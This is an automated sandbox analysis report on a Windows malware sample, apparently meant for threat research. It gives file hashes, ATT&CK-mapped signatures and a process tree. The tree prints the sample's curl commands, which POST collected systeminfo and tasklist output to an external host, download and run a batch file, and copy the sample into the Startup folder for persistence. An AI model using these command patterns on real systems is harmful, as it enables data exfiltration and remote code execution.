5270c4c6881b7d3ebaea8f51c410bba8689acb67c34f20440527a5f15f3bc1e4

General

Target

file.exe
Size

898KB
MD5

5950611ed70f90b758610609e2aee8e6
SHA1

798588341c108850c79da309be33495faf2f3246
SHA256

5270c4c6881b7d3ebaea8f51c410bba8689acb67c34f20440527a5f15f3bc1e4
SHA512

7e51c458a9a2440c778361eb19f0c13ea4de75b2cf54a5828f6230419fbf52c4702be4f0784e7984367d67fabf038018e264e030e4a4c7dac7ba93e5c1395b80
SSDEEP

12288:UqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDgapT1:UqDEvCTbMWu7rQYlBQcBiT6rprG8at1

Score

7^/10

discovery

Malware Config

Signatures

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\file.exe	cmd.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

discovery

Process Discovery

T1057

pid	Process
3716	tasklist.exe

System Location Discovery: System Language Discovery 1 TTPs 10 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	file.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	curl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	curl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	curl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	systeminfo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	curl.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
5104	systeminfo.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3716	tasklist.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
4988	file.exe
4988	file.exe
4988	file.exe

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
4988	file.exe
4988	file.exe
4988	file.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 4988 wrote to memory of 440	4988	file.exe	82
PID 4988 wrote to memory of 440	4988	file.exe	82
PID 4988 wrote to memory of 440	4988	file.exe	82
PID 440 wrote to memory of 5104	440	cmd.exe	84
PID 440 wrote to memory of 5104	440	cmd.exe	84
PID 440 wrote to memory of 5104	440	cmd.exe	84
PID 440 wrote to memory of 3716	440	cmd.exe	87
PID 440 wrote to memory of 3716	440	cmd.exe	87
PID 440 wrote to memory of 3716	440	cmd.exe	87
PID 4988 wrote to memory of 760	4988	file.exe	88
PID 4988 wrote to memory of 760	4988	file.exe	88
PID 4988 wrote to memory of 760	4988	file.exe	88
PID 4988 wrote to memory of 948	4988	file.exe	90
PID 4988 wrote to memory of 948	4988	file.exe	90
PID 4988 wrote to memory of 948	4988	file.exe	90
PID 4988 wrote to memory of 3936	4988	file.exe	92
PID 4988 wrote to memory of 3936	4988	file.exe	92
PID 4988 wrote to memory of 3936	4988	file.exe	92
PID 4988 wrote to memory of 3084	4988	file.exe	93
PID 4988 wrote to memory of 3084	4988	file.exe	93
PID 4988 wrote to memory of 3084	4988	file.exe	93
PID 4988 wrote to memory of 1064	4988	file.exe	96
PID 4988 wrote to memory of 1064	4988	file.exe	96
PID 4988 wrote to memory of 1064	4988	file.exe	96
PID 4988 wrote to memory of 4172	4988	file.exe	98
PID 4988 wrote to memory of 4172	4988	file.exe	98
PID 4988 wrote to memory of 4172	4988	file.exe	98

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4988
- C:\Windows\SysWOW64\cmd.exe
  cmd /c systeminfo > tmp.txt && tasklist >> tmp.txt
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:440
- - C:\Windows\SysWOW64\systeminfo.exe
    systeminfo
    3⤵
    - System Location Discovery: System Language Discovery
    - Gathers system information
    PID:5104
- - C:\Windows\SysWOW64\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3716
- C:\Windows\SysWOW64\curl.exe
  curl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C41646D696E5C417070446174615C4C6F63616C5C54656D705C66696C652E657865" -X POST -H "X-Auth: 2F47594841534F4C532F41646D696E2F32" -H "X-Sec-Id: 0" --data-binary @"C:\Users\Admin\AppData\Local\Temp\tmp.txt" "https://peerhost59mj7i6macla65r.com/search/"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:760
- C:\Windows\SysWOW64\curl.exe
  curl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C41646D696E5C417070446174615C4C6F63616C5C54656D705C66696C652E657865" -H "X-Auth: 2F47594841534F4C532F41646D696E2F32" -H "X-Sec-Id: 3" -Lo "C:\Users\Admin\AppData\Local\Temp\tmp.ini" "https://peerhost59mj7i6macla65r.com/search/"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:948
- C:\Windows\SysWOW64\cmd.exe
  cmd /c type "C:\Users\Admin\AppData\Local\Temp\file.exe" > "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\file.exe"
  2⤵
  - Drops startup file
  - System Location Discovery: System Language Discovery
  PID:3936
- C:\Windows\SysWOW64\curl.exe
  curl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C41646D696E5C417070446174615C4C6F63616C5C54656D705C66696C652E657865" -H "X-Auth: 2F47594841534F4C532F41646D696E2F32" -Lo "C:\Users\Admin\AppData\Local\Temp\tmp.bat" "https://peerhost59mj7i6macla65r.com/search/"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3084
- C:\Windows\SysWOW64\cmd.exe
  cmd /c "C:\Users\Admin\AppData\Local\Temp\tmp.bat" > C:\Users\Admin\AppData\Local\Temp\tmp.txt
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1064
- C:\Windows\SysWOW64\curl.exe
  curl --insecure -k -H "X-Reply: 1" -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80" -H "X-Referer: 433A5C55736572735C41646D696E5C417070446174615C4C6F63616C5C54656D705C66696C652E657865" -X POST -H "X-Auth: 2F47594841534F4C532F41646D696E2F32" -H "X-Sec-Id: 1" --data-binary @"C:\Users\Admin\AppData\Local\Temp\tmp.txt" "https://peerhost59mj7i6macla65r.com/search/"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4172

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Process Discovery

1

T1057

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\tmp.bat

Filesize
2B

MD5
81051bcc2cf1bedf378224b0a93e2877

SHA1
ba8ab5a0280b953aa97435ff8946cbcbb2755a27

SHA256
7eb70257593da06f682a3ddda54a9d260d4fc514f645237f5ca74b08f8da61a6

SHA512
1b302a2f1e624a5fb5ad94ddc4e5f8bfd74d26fa37512d0e5face303d8c40eee0d0ffa3649f5da43f439914d128166cb6c4774a7caa3b174d7535451eb697b5d

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp.ini

Filesize
34B

MD5
557464a645cbcc72fb20348e1c58dbfd

SHA1
2a68b1e4c9cca06c959a3174058a27da0faddadd

SHA256
2fb99e1172ec47d7d0a943294a483e9c695d774ad9eca0c689eb0e4ad4982c66

SHA512
728fba91e931258ed5ad1ff48299193384c0053770e05c0f813e8407dd328454c2c233da52ea67eb5aaf1c523a8d0e5de5a30b9bc94186e62c204b26df23123e

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp.txt

Filesize
8KB

MD5
1a1c03ef781e64f6c5914f1d76b8e6c9

SHA1
8e72c669ed8babe032d2d19dd0858ff06ba9b6a1

SHA256
b1358fe6c0f024735e825d07a06af5909a091080f63f70967b30e2036a1178aa

SHA512
b30b5a41318b23717d3476d854258623f5d6f87a03b03c60adbb10928fa5aa87124a64c4b68c15b74e4ae4f659d0a809b88d0596de83a62e082a6cbc39d79349

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads